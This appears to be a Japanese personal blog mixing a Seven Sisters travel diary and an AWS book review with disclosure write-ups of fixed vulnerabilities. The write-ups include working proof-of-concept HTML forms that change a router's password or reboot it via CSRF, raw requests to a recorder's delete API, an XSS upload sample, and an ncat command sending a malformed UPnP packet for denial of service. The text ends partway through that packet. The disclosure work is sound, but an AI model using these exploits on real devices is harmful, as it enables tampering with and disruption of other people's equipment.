セブンシスターズ(Seven Sisters)への旅路: ブライトン(Brighton) 経由
2016 年 9 月、セブンシスターズ(Seven Sister)を旅してきました。このセブンシスターズは、「Mr.ホームズ 名探偵最後の事件」や「映画けいおん!」などのロケ地になります。セブンシスターズに行く経路を調べるときに、様々なブログの情報を参考にしたため、僕も旅路の記録を残します。いづれセブンシスターズを訪れる方のお役に立てば嬉しいです。
はじめに
- この日記の旅路は 2016 年 9 月時点のものです。
- ロンドンからブライトン経由でセブンシスターズに向かう往路のみまとめています(復路は往路を逆に辿るだけ)。
- ロンドンからセブンシスターズへの経路は、ブライトン経由だけではありません。
セブンシスターズへの旅路
僕の場合、ロンドン ヴィクトリア駅を出発して、鉄道・バス・徒歩の 3 つの手段でセブンシスターズを一望できる「Seaford Head view point」に辿り着きました。
- 鉄道: ロンドン ヴィクトリア駅(London Victoria) からブライトン駅
- バス: ブライトンから Seven Sisters Country Park
- 徒歩: Seven Sisters Country の Seaford Head view point へ
1. 鉄道: ロンドン ヴィクトリア駅からブライトン駅
まず、ロンドン ヴィクトリア駅から鉄道(Southern railway)でブライトンに移動します。僕の場合は、ヴィクトリア駅構内(下図の赤枠)でチケットを購入して、プラットフォーム 18 または 19 発(下図の紫色の枠)の鉄道に乗りました。ロンドンからブライトンまでは、約 1 時間掛かります(Southern railway の路線図(network map))。
チケット券売機では、行き先、片道(Single) or 往復(Return)、チケットの種類を指定してチケットを購入します。僕は下表のように指定して、31 £でチケットを購入しました。なお、Southern railway のウェブサイトからチケットを購入した場合も、同じ券売機で発券できるようです(参考ブログ記事)。
行き先 | Brighton |
片道/往復 | Return |
チケットの種類 | Anytime Day Return(当日中であれば時間指定なく復路の鉄道に乗れる) |
チケットを購入したら、電光掲示板(Street View)で鉄道の時刻および出発プラットホームを確認して、そのプラットホームに向かいます。あとは停車中の車両に乗り、出発するまで待機します。ヴィクトリア駅発の Southern railway に 2 回乗った限りでは、定刻よりも数分遅れて車両が出発しました。
2. バス: ブライトンから Seven Sisters Country Park
ブライトン駅に着いたら、バス(Brighton & Hove Bus)で Seven Sisters Country Park に移動します。ブライトンのバス停「Sea Life Centre」(下図の赤枠)から 12 番線(12A または 12X)のバスに乗り、Exceat のバス停「Seven Sisters Park Centre」(下図の紫色の枠)で降ります。「Sea Life Centre」から「Seven Sisters Park Centre」まで約 1 時間掛かります(Brighton & Hove Bus 12 番線の時刻表)。
引用元: 12, Brighton - Eastbourne, Route Map
バス停に向かう前に、ブライトン駅の Travel Centre(下図の赤枠)で One day バスチケット、地図や時刻表などを入手します。Travel Centre で「ブライトン駅からセブンシスターズのバスチケットが欲しい」と伝えると、One day バスチケット(約 8 £)を購入できました。もし Southern railway のチケットをウェブサイトで購入する場合には、PlusBus を購入する方がバス代を節約できます(参考ブログ記事)。
引用元: http://www.nationalrail.co.uk/stations-and-destinations/stations-made-easy/brighton-east-sussex-station-plan
さて One day バスチケットは、購入時点では左下図のようになっています。One day チケットを使うためには、透明カバーをめくって、使用日の年月日をスクラッチして透明カバーを貼り付けます(右下図)。年月日を間違えないようにご注意を(僕は間違えてしまい、バスドライバーに訂正してもらいました)。また、Travel Centre に置いてある地図や時刻表の中では、A4 冊子の時刻表(左下図)が役に立ちました。少し荷物になってしまいますが、主要なバス停と通過予定時刻をオフラインですぐに確認できるからです。
ブライトン駅での準備が終わったら、バス停「Sea Life Centre」(下図の赤枠)に向かいます。ブライトン駅から徒歩で 10 分程度掛かります。バス停の電光掲示板でバスが到着するまでの見込み時間を確認して、バスの到着を待ちます。Route: 12(12A または 12X), Destination: Eastbourne のバスが到着したら、ドライバーに One day バスチケットを提示して、バスに乗ります。
3. 徒歩: Seven Sisters Country Park から Seaford Head view point
Seven Sisters Country Park に着いたら、あとは目的地に向かって歩くだけです。僕は、セブンシスターズのリーフレットの「Path to Seaford Head view point」(ピンク色の点線)と「Beach Trail」(橙色の点線)の 2 つのルートを歩きました。
引用元: p.2, Seven Sisters Leaflet
バス停「Seven Sisters Park Centre」は、ちょうど Visitor Centre の裏手(上図の赤枠)にあります。「Path to Seaford Head view point」ルートに入るためには、まずバスで来た道を戻って The Cuckmere Inn に向かいます。The Cuckmere Inn の駐車場付近に入り口があり、そこから Seaford Head view point に向かって歩きます。The Cuckmere Inn から南下した交差点(実際には三叉路)で外側のルートを選び、ところどころで写真を撮りながら 45 分前後で Seaford Head view point に着きました。この view point でしばらく眺めを堪能しました:) 帰りは Beach を経由する上図の内側のルートを辿って、Visitor Centre まで戻りました。Visitor Centre を戻ったときには、約 2 時間半が経過していました。
Visitor Centre で一息ついたら、今後は「Beach Trail」ルートに向かいました。Visitor Centre から道路を挟んだ向かい側に「Beach Trail」または「South Downs Way」ルートの入り口があります。入口から 30 分前後歩くと、Beach に着きました。Beach を横断すると、セブンシスターズの崖を真下から見上げることができます。セブンシスターズの大きさを体感でき、Seaford Head view point とは違った趣があります:)
リーフレットには明記されていませんが、Beach からセブンシスターズの崖に登ることもできます(上図の星印付近)。実際に登っている人もいましたが、勾配がきつく大分歩いた後だったため、崖を登ることを断念しました。Beach で小一時間セブンシスターズの崖を見上げたら、Visitor Centre に戻るとともに帰路につきました。
サイドストーリー:ブライトンに辿り着けずに Haywards Heath 駅で鉄道が止まった
旅路は以上ですが、ここでサイドストーリーを一つ。
この旅でロンドン ヴィクトリア駅から鉄道には 2 回乗りました。初めにヴィクトリア駅からブライトン駅への鉄道に乗ったとき、車両がブライトン駅まで行かずに、Haywards Heath 駅で止まってしまいました(Southern railway 全体がちょうど約一週間メンテナンス作業を行っており、この影響を受けたようです)。電光掲示板で表示されるブライトン行きが次々キャンセルされたため、その日はロンドンに戻りました*1。
ヴィクトリア駅に戻るために、まず Bedford 駅行きの Tramlink で East Croydon 駅(下図の赤枠)まで移動しました。そして、East Croydon 駅でヴィクトリア駅行きの Southern railway に乗り換え、ヴィクトリア駅に戻りました。
引用元: Southern_Network_Map.pdf, Network Map by route
駅員さんに相談して Tramlink に乗りましたが、このとき乗り換えが必要なことを聞きとれていませんでした。そこで、Tramlink で隣に座っていた女性に「どうすればヴィクトリア駅に帰れるか」聞きました。このとき、下図をおかげで East Croydon 駅(または Gatwick Airport 駅)における乗り換えの必要性をようやく理解できました。
英語のスピーキング・リスニングが堪能であれば会話だけで十分でしょうが、そうでない場合には会話以外で共通認識を作れる地図が大事と痛感しました。「地図、大事」覚えた。
おわりに
だだっ広い原っぱから壮大な景色を眺める解放感はいいですね。普段の生活圏にない風景だからか、一時的に日常生活を忘れてしまいます。とりあえず特に何もない空間で無心になりたい方は、機会があれば是非。
*1:駅員さんからは「バスでブライトン行けるよ!」と言われましたが、下調べしていなかったことと、滞在日数に余裕があったため、ロンドンに戻りました
IO-DATA 製レコーディングハードディスクにおけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性が修正された
2016 年 8 月 8 日、アイ・オー・データ機器のレコーディングハードディスクにおけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性(JVN#35062083)が修正されました。2016 年 1 月 3 日、僕は HVL-A2.0 でこの脆弱性を発見し、IPA に報告しました。そして、7 ヶ月後に関連製品を含めて当該脆弱性が修正されました。
この日記では、この脆弱性について下記 4 点をまとめました。
- 脆弱性があった機能
- 再現手順
- 製品開発者による修正
- 報告から取扱終了までの時系列
脆弱性があった機能
レコーディングハードディスク「RECBOX HVL-A2.0」には、保存しているコンテンツを操作できる WebUI 機能(下図)があります。この WebUI にはユーザ認証がなく、この機能の URL にアクセスできれば誰でも利用できます。
当該 WebUI で動画コンテンツを選択して、[削除] (画面上部を参照) を実行すると、Web ブラウザが /dms/transfer_tool/api/remove に POST リクエストを送信します。HTTP Body の「id」パラメータは、動画コンテンツの識別子を指します。
POST /dms/transfer_tool/api/remove HTTP/1.1 Host: 192.168.0.220:55247 Content-Length: 11 Accept: */* Origin: http://192.168.0.220:55247 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Content-Type: application/x-www-form-urlencoded Referer: http://192.168.0.220:55247/dms/doc/transfer_tool/transfer_tool.html?20151071356 Accept-Encoding: gzip, deflate Accept-Language: ja,en-US;q=0.8,en;q=0.6 Connection: close id=FS-13936
指定した動画コンテンツの削除に成功すると、当該製品は HTTP レスポンスコード 200 を応答します。
HTTP/1.1 200 OK Server: Linux/2.6.31.8 UPnP/1.0 DiXiM/5.0 Date: Sun, 21 Aug 2016 03:21:44 GMT Connection: close Content-Type: application/json Access-Control-Allow-Origin: *
この動画コンテンツの削除機能に CSRF の脆弱性*1が存在しました。この HTTP リクエストに秘密情報を含んでいません。また XMLHttpRequest における Origin ヘッダおよびカスタムヘッダの検証(参考1, 参考2)も実施していませんでした。したがって、当該製品の利用者が罠サイトを閲覧すると、任意の動画コンテンツを削除する CSRF 攻撃を受ける恐れがありました。
再現手順
手順 1 から 4 で、当該製品に対する CSRF 攻撃を再現できます。この CSRF 攻撃を実現するためには、攻撃者が「削除対象コンテンツ ID」と「当該製品の IP アドレス」を推測する必要があります*2。
- 削除対象コンテンツが存在することを確認する
- 罠サイトに実証コードを配置する
- cve-2016-4845_csrf-delete-XMLHttpRequest_poc.html (XMLHttpRequest edition) or
- cve-2016-4845_csrf-delete-formElement_poc.html (form edition)
- 当該製品の利用者を罠サイトに誘導する
- 改めて手順 1. を実施して、削除対象コンテンツが存在しないことを確認する
削除対象コンテンツ ID
脆弱性報告時の動画コンテンツ ID の分布*3をふまえると、動画コンテンツ ID を総当たりに試行すれば、現実的に任意の動画コンテンツを削除できる可能性があると判断しました。
当該製品の IP アドレス
WebRTC 実装仕様を利用することで、当該製品の IP アドレスを特定できると判断しました。
まず当該製品は、初期設定で DHCP サーバから IP アドレスを取得するよう設計されており、当該製品と利用者の PC が同一 LAN に接続する使い方が一般的だと考えます。また、Google Chrome および Mozilla Firefox の WebRTC 実装には、JavaScript からローカルホストの IP アドレスを取得できる仕様があります*4。そこで、Web ブラウザが動作するローカルホストの IP アドレスを取得して、同一 LAN の IP アドレスに対して当該製品の固有情報の有無(例:特定 URI の画像ファイル)を試行すれば、当該製品の IP アドレスを特定できます。
実際に Buffer NAS に対する Exploit コードをもとに、実証コード:cve-2016-4845_csrf-delete-withWebRTC_poc.htmlを準備しました。
製品開発者による修正
当該製品の最新バージョン 2.04 を確認したところ、/dms/transfer_tool/api/remove に対する POST リクエストの HTTP Body に「token」パラメータが追加されていました。この修正によって、攻撃者がこの「token」パラメータの値を推測できない限り、CSRF 攻撃が成功しなくなりました。
POST /dms/transfer_tool/api/remove HTTP/1.1 Host: 192.168.0.220:55247 Content-Length: 81 Accept: */* Origin: http://192.168.0.220:55247 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Content-Type: application/x-www-form-urlencoded Referer: http://192.168.0.220:55247/dms/doc/transfer_tool/transfer_tool.html?201607211648 Accept-Encoding: gzip, deflate Accept-Language: ja,en-US;q=0.8,en;q=0.6 Connection: close id=FS-1411&token=BQQGBgIPBwMi%2Fl6%2B4d4QwZyLDbj8Syiy9XPvxOMTMOAAIXC8c34b0g%3D%3D
報告から取扱終了までの時系列
年月日 | 事柄 |
---|---|
2016年1月3日 | IPA に脆弱性を報告 |
2016年1月4日 | IPA から届出情報受信の連絡 |
2016年1月8日 | IPA から届出情報受理の連絡 |
2016年2月4日 | IPA から「JPCERT/CCによる製品開発者への連絡開始」の連絡 |
2016年2月20日 | IPA に追加の実証コードを送付 |
2016年8月3日 | 製品開発者が当該脆弱性を修正したファームウェア 2.04 を公開 |
2016年8月8日 | JVN における脆弱性情報の公表 |
さいごに
脆弱性を修正いただいた(株)アイ・オー・データ機器、報告から修正および取扱終了まで調整いただいた IPA および JPCERT/CC、ご対応ありがとうございました。
参考情報
- ブラウザハック
- 9.3 クロスオリジンでの Web アプリケーションの特定, 第 9 章 Web アプリケーションに対する攻撃
- フックしたブラウザの内部 IP アドレスの特定, 10.1 標的の特定, 第 10 章 ネットワークに対する攻撃
*1:厳密には CSRF の脆弱性と言えません。IPA「安全なウェブサイトの作り方」およびOWASPにおける CSRF の定義では「ログイン状態のユーザ」を規定しています。しかし、この脆弱性はその定義を満たしません(当該機能にはログイン機構が存在しないため)。便宜上、この日記では CSRF の脆弱性と呼称します。
*2:この再現手順では削除対象コンテンツ ID を「FS-6411」、当該製品の IP アドレスを「192.168.0.220」としています。
*3:2016/01/02 時点で FS-108 から FS-8781 の範囲に 671 の動画コンテンツが分布していました
*4:2016 年 1 月 3 日報告時点で、Chrome 47.0.2526.106 m および Firefox 43.0.1 を使いローカルホストの IP アドレスを取得できることを確認済み
ガンホー問い合わせフォームにおけるアップロードファイルに起因する脆弱性が修正された
2016 年 5 月 3 日、ガンホー・オンライン・エンターテイメント株式会社(以降、ガンホー社)に「République(リパブリック)」について問い合わせるとき、お問い合わせフォームに脆弱性を発見しました。同日中にガンホー社および IPA に報告したところ、同月 31 日、当該脆弱性が修正されました。
アップロードファイルに起因する脆弱性
要約
ガンホー社の問い合わせフォームでは、クエリストリングで Content-Type を指定できる実装でした。アップロードファイルを確認するウェブページで、この実装を悪用して、ウェブブラウザ上で任意のスクリプトを実行できました。
脆弱性があったお問い合わせフォーム
当該お問い合わせフォームでは、ユーザが問い合わせに関するファイルをアップロードできます(下図*1)。このアップロード機能では、ファイルの拡張子を検証していますが、ファイルの中身(マジックバイトなど)を検証していないようです。スクリプトを含む HTML ファイルを「a.jpeg」で保存すると、当該お問い合わせフォームに「a.jpeg」をアップロードできました。
お問い合わせを送信する前に、アップロードしたファイルをウェブページで確認できます。このウェブページでは、クエリストリングに「mime」パラメータを指定でき(左下図)、このパラメータの値が Content-Type ヘッダにそのまま出力されました。試しに mime=text/plain と指定すると、Content-Type: text/plain; charset=utf-8 と出力されました(右下図)。
脆弱性の再現手順
下記の (a), (b) の手順で脆弱性を再現できました。
(a) 当該問い合わせフォームに下記のHTMLファイルを「a.jpeg」としてアップロードする
<html> <head> <title>test</title> <script>alert(1);</script> </head> <body> </body> </html>
(b) 当該脆弱性のあるウェブページに遷移して、「mime」パラメータに「text/html」を指定する。この結果として、アラートダイアログがポップアップ表示できた(下図)。
ガンホー社による脆弱性の修正
2016 年 5 月 29 日、報告したウェブページで改めて再現手順を実施したところ、「mime」パラメータが削除されていました。このとき、Content-Type ヘッダには、image/jpeg; charset=utf-8 または text/plain; charset=utf-8 が設定されていました。
ウェブブラウザ | Content-Type ヘッダの値 |
---|---|
Google Chrome 50.0.2661.102 m(左下図) | image/jpeg; charset=utf-8 |
Mozilla Firefox 46.0.1 | image/jpeg; charset=utf-8 |
MS Edge 25.10586.0.0(右下図*2) | text/plain; charset=utf-8 |
前述の手順で脆弱性が再現しなくなったものの、任意のファイルをアップロードできることは変わりません。このため、IE8 などのウェブブラウザではまだセキュリティ上の問題が発生する可能性があります(2016 年 1 月 13 日で IE8 のサポートが終了していますが)。そこで、ガンホー社に修正完了確認を問い合わせたときに、X-Content-Type-Options: nosniff を提案しました。実際に X-Content-Type-Options ヘッダを出力するかは、ガンホー社の判断次第になります。
発見から修正までの時系列
年月日 | アクション |
---|---|
2016年5月3日 | ガンホー社および IPA に脆弱性を報告 |
同日 | ガンホー社から一次返信 |
2016年5月6日 | ガンホー社から「担当部署に連絡した」との返信 |
同日 | IPA から届出情報受信の返信 |
2016年5月10日 | IPA から届出情報受理の連絡 |
2016年5月11日 | IPA から届出情報をガンホー社に通知したとの連絡 |
2016年5月29日 | 脆弱性が修正されたことを確認 |
同日 | ガンホー社に修正完了確認を問い合わせ |
2016年5月30日 | IPA から修正完了の連絡 |
同日 | ガンホー社から問い合わせへの回答 |
2016年6月1日 | IPA にガンホー社に「脆弱性情報および時系列を公表すること」の連絡を依頼 |
2016年6月3日 | IPA からガンホー社への情報展開および取扱い終了連絡 |
2016年6月5日 | この日記を公開 |
「Amazon Web Services パターン別構築・運用ガイド」を読んだ
2015 年 03 月 25 日に「一番大切な知識と技術が身につく Amazon Web Services パターン別構築・運用ガイド」(以降、パターン別構築・運用ガイド)が出版されました。著者の一人、佐々木 拓郎 氏のブログで興味を持ち、当該書籍を読みました。この日記では、感想と読書メモを記録します。
感想
AWS を使ったシステムを構築する、または AWS を使ったシステムを運用する技術者だけではなく、AWS を使ってシステムをレビューする技術者にも役に立つ書籍だと感じました。
僕は AWS を使ったシステムを構築または運用していませんが、AWS を使ったシステムをセキュリティの観点からレビューする場合があります。そのときには、AWS の仕様やセキュリティ機能などの知識が必要です。最終的には AWS 公式ドキュメントを確認しますが、AWS の全般的な知識があれば、どういった点を確認すればよいかポイントを絞れます。この書籍は、そういった全般的な AWS の知識を得る上でとても役に立ちます:)
類似した書籍には「Amazon Web Services クラウドデザインパターン実装ガイド」(以降、実装ガイド)(2013 年 02 月 03 日出版) がありますが、「パターン別構築・運用ガイド」では、「実装ガイド」でふれていない Elastic Beanstalk / Cloud Formation / Cognito などを使った構築例や IAM にも言及しています。また、セキュリティに関する言及も豊富です。例えば、「AWS のセキュリティ」という独立した章、AWS アカウント(通称 root アカウント) における MFA(Multi-Factor Authentication) を有効にすべき項目として紹介する*1、などです。
AWS 公式ドキュメントなどで詳細・不明点を確認するための道しるべとして、この書籍を活用するつもりです。著者の皆様、よい書籍を執筆していただき、ありがとうございました!
読書メモ
- 当該書籍を読んで、気になった記述をピックアップおよび引用しました。
- 主に AWS の仕様やセキュリティに関する事柄が該当します。
- 斜体の文章は当該書籍からの引用です。
Chapter1 AWSの基本
Chapter2 AWSを利用する
- pp.68-76 AWSアカウントの作成
- pp.76-91 ユーザアカウントの作成(IAMアカウント)
- アクセスキーの入手
- 「ただし、同じアクセスキーは二度とダウンロードできないので、ダウンロードしたCSVファイルは注意して管理してください」
- IAMポリシー
- 「ポリシーは、Managed PoliciesとInline Policiesの2種類があります」
- アクセスキーの入手
- pp.116-117 Default-VPC
- pp.118-132 Custom-VPCを作成する
- pp.133-136 AWS操作用の公開鍵・秘密鍵の作成(KeyPair)
- AWS外部で作成した公開鍵のインポート
- 表2-5-2 インポートできる鍵の制限
- AWS外部で作成した公開鍵のインポート
- pp.137-142 Security Groupを作成する
- pp.159-162 Elastic IP(EIP)の利用
- 「EC2に割り当てることのできるグローバルIPには、2種類あります。1つは、先ほど利用したパブリックIP、もう1つがElastic IP(EIP)です」
- pp.163-167 ELBサービスの詳細
Chapter3 パターン別構築例
- pp.233-239 Elastic Beanstalkを利用したロードバランシングとHTTPSサイトの構築
- pp.256-263 CloudFrontとの連携
- 表3-3-4 Distributionの設定(Default Cache Behavior Settings)
- Forward Cookies
- Forward Query Strings
- Restrict Viewer Access
- 表3-3-5 Distributionの設定(Distribution Settings)
- Logging
- 表3-3-4 Distributionの設定(Default Cache Behavior Settings)
- pp.275-278 Auto Scaling使用時のEC2インスタンスの初期化処理
- pp.327-331 EC2インスタンスにメールサーバを構築する
- pp.342-348 Cognitoによるユーザ認証と2Tierアーキテクチャ
- 「Cognitoは、モバイル向けに設計されたAWSの認証・認可のサービスです。Cognitoを利用することにより、アクセスキーとシークレットキーを利用しない認証の仕組みを実現できます」
- Cognitoを中心としたユーザ認証とアクセス認可
Chapter4 AWSのセキュリティ
Error "server certificate change is restricted during renegotiation" on Burp Suite Free Edition v1.6
The following errors happened when I used Burp Suite Free Edition v1.6 with upstream proxy; [twitter:@anshuman_bh] posted an image of these errors. Thanks for @anshuman_bh and [twitter:@Burp_Suite], I have known solutions for the errors. And, I blogged this entry for someone who may face the errors.
Attempting to auto-select SSL parameters forFailed to auto-select SSL parameters for javax.net.SSLException: server certificate change is restricted during renegotiation server certificate change is restricted during renegotiation
Solution
- Use latest Burp Suite
Burp Suite v1.6.07 applied a workaround related to the errors by @Burp_Suite (tweet). If you use Burp Suite Free Edition, I use, you cannot update to date soon. Then you can do some workarounds.
ひかり電話ルータ 「RV-S340SE」におけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性が修正された
2012 年 12 月、ひかり電話ルータ「RV-S340SE」におけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性が修正されました。2011 年 9 月 26 日に IPA にこの脆弱性を報告したところ、2014 年 10 月に脆弱性情報が公表されずに取扱終了となりました。取扱終了となった理由は、「RV-440MI」の脆弱性と同様でした。
脆弱性の再現手順
IPA に報告した脆弱性関連情報(様式)から再現手順を引用します。
2. 脆弱性関連情報 (snip) 2) 脆弱性を確認したソフトウエア等に関する情報 名称:ひかり電話ルータ (RV-S340SE) バージョン:14.07 (snip) 3) 脆弱性の種類 クロスサイト・リクエスト・フォージェリ 4) 再現手順 RV-S340SE のウェブ管理インターフェイスに特定のパラメータと値 を送信させるウェブページに、RV-S340SE にログインした利用者を 誘導することでクロスサイト・リクエスト・フォージェリが再現で きます。 この再現手順では、「RV-S340SE のウェブ管理インターフェイスの パスワードを変更させる」、「RV-S340SE を再起動させる」、2 つ の手順を示します。 ■「RV-S340SE のウェブ管理インターフェイスのパスワードを変更させる」 (1) 以下の内容の html ファイルをウェブサーバに設置する。 この html ファイル中の 192.168.0.1 は、RV-S340SE の LAN 側 IP アドレスとなります。 ------------------------------ <html> <head><title>RV-S340SE CSRF(change password) PoC</title></head> <body onLoad="document.getElementById('form0').submit();"> <form id="form0" action="http://192.168.0.1/cgi-bin/main.cgi" method="post"> <input type="hidden" name="mbg_webname" value="loginpass_user_input"> <input type="hidden" name="config_no" value="1"> <input type="hidden" name="loginpass_user_pass" value="exploit"> <input type="hidden" name="loginpass_user_passcfm" value="exploit"> <input type="hidden" name="mbg_set" value="設定"> <input type="submit" value="exploit"> </form> </body> </html> ------------------------------ (2) RV-S340SE にウェブブラウザでアクセスして認証する。 (3) (2) で RV-S340SE にログインしたウェブブラウザで、(1) の html ファイルにアクセスする。 当該 html ファイルでは JavaScript により自動的に POST リクエストを送信するため、ウェブブラウザでは JavaScript を有効にしておくこと。 (4) 別のウェブブラウザから RV-S340SE にアクセスして認証する。 このとき、パスワードには「exploit」を指定する。 (2) でログインしたときのパスワードが (1) で指定したパス ワード「exploit」に変わっていることを確認できます。 ■「RV-S340SE を再起動させる」 (1) 以下の内容の html ファイルをウェブサーバに設置する。 この html ファイル中の 192.168.0.1 は、RV-S340SE の LAN 側 IP アドレスとなります。 ------------------------------ <html> <head><title>RV-S340SE CSRF(Reboot) PoC</title></head> <body onLoad="document.getElementById('form0').submit();"> <form id="form0" action="http://192.168.0.1/cgi-bin/main.cgi" method="post"> <input type="hidden" name="mbg_webname" value="reboot"> <input type="hidden" name="config_no" value="1"> <input type="hidden" name="mbg_reboot_set" value="再起動"> <input type="submit" value="exploit"> </form> </body> </html> ------------------------------ (2) RV-S340SE にウェブブラウザでアクセスして認証する。 (3) (2) で RV-S340SE にログインしたウェブブラウザで、(1) の html ファイルにアクセスする。 当該 html ファイルでは JavaScript により自動的に POST リクエストを送信するため、ウェブブラウザでは JavaScript を有効にしておくこと。 (4) RV-S340SE が再起動することを確認できます。
ひかり電話ルータ「RV-440MI」 における Portable SDK for UPnP の脆弱性が修正された
2014 年 7 月 7 日、ひかり電話ルータ「RV-440MI」における Portable SDK for UPnP の脆弱性(JVNVU#90348117)が修正されました。2013 年 2 月に IPA にこの脆弱性を報告したところ、2014 年 10 月に脆弱性情報が公表されずに取扱終了となりました。
この日記では、この脆弱性について、次の 4 点を書きます。
脆弱性を発見した経緯
Nmap の NSE スクリプト「upnp-info」を試用していたとき、当該脆弱性の可能性を確認しました。
2013 年 2 月 11 日の日記を書いた頃、UPnP を調べていました。この過程で「RV-440MI」に「upnp-info」を実行したところ、下記の結果*1を得ました。この Server ヘッダの「Intel SDK for UPnP devices/1.3.1」をみたところ、「ん?」と思いました。JVNVU#90348117(VU#922681)の脆弱なバージョンに該当するのではないかと。
そこで、「Security Flaws in Universal Plug and Play」 p.17 の情報にもとづく単純な実証コードを試行したところ、当該製品の UPnP サービスが DoS 状態となりました。この結果から脆弱性の存在を確信して IPA に報告しました。
$>nmap -sU -p1900 --script=upnp-info.nse -n 192.168.0.1 Starting Nmap 6.25 ( http://nmap.org ) at 2013-02-04 02:09 東京 (標準時) Nmap scan report for 192.168.0.1 Host is up (0.00s latency). PORT STATE SERVICE 1900/udp open upnp | upnp-info: | 192.168.0.1 | Server: Linux/2.6.33.5, UPnP/1.0, Intel SDK for UPnP devices/1.3.1 | Location: http://192.168.0.1:49152/gatedesc.xml | Webserver: Linux/2.6.33.5, UPnP/1.0, Intel SDK for UPnP devices/1.3.1 | Name: RV-440MI (snip) |_ Model Version: MAC Address: 38:E0:8E:XX:XX:XX (Mitsubishi Electric Co.) Nmap done: 1 IP address (1 host up) scanned in 2.63 seconds
脆弱性の再現手順
IPA に報告した脆弱性関連情報(様式はこちら)から再現手順、検証コードなどを引用します。なお、引用文の「RV-440MI_malformed-msearch.pcap」を Cloudshark にアップロードしました(こちら)。
4) 再現手順 (1) 8) の検証コードをテキストファイルに保存する。 本手順では、「m-search_malformed.txt」とする。 (2) Nmap 6.25 に同梱されている「ncat」を使って、検証コードを 対象製品に送信する。 $> ncat -u --send-only 239.255.255.250 1900 < m-search_malformed.txt または $> ncat -u --send-only 192.168.0.1 1900 < m-search_malformed.txt (192.168.0.1 は対象製品の IP アドレス) (3) Nmap にて 1900/udp にポートスキャンを実行すると、Nmap の 実行結果が closed となっていることが確認できます。 $> nmap -sU -p 1900 -n 192.168.0.1 実際には対象製品から ICMP Port Unreachable という応答が 返ってきています。 (2) でマルチキャスト宛に M-SEARCH リクエストを送信した結果、 および (3) のポートスキャンの結果をパケットキャプチャファイ ルに保存しました。 添付ファイル:RV-440MI_malformed-msearch.pcap 5) 再現の状況 ■ 常に □ 時々 □ まれに 4) 再現手順の (2) を 1 回送信しただけでは、(3) の結果が得ら れない場合がありましたが、2,3 回送信することで再現すること を確認しています。 (snip) 8) 検証コード この検証コードは、Rapid7 社「Security Flaws in Universal Plug and Play」p.17 に記載されているコードを基に作成しました。 https://community.rapid7.com/servlet/JiveServlet/download/2150-1-16596/SecurityFlawsUPnP.pdf --- ここから ---------------------------------------------------- M-SEARCH * HTTP/1.1 Host:239.255.255.250:1900 ST:uuid:schemas:device:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA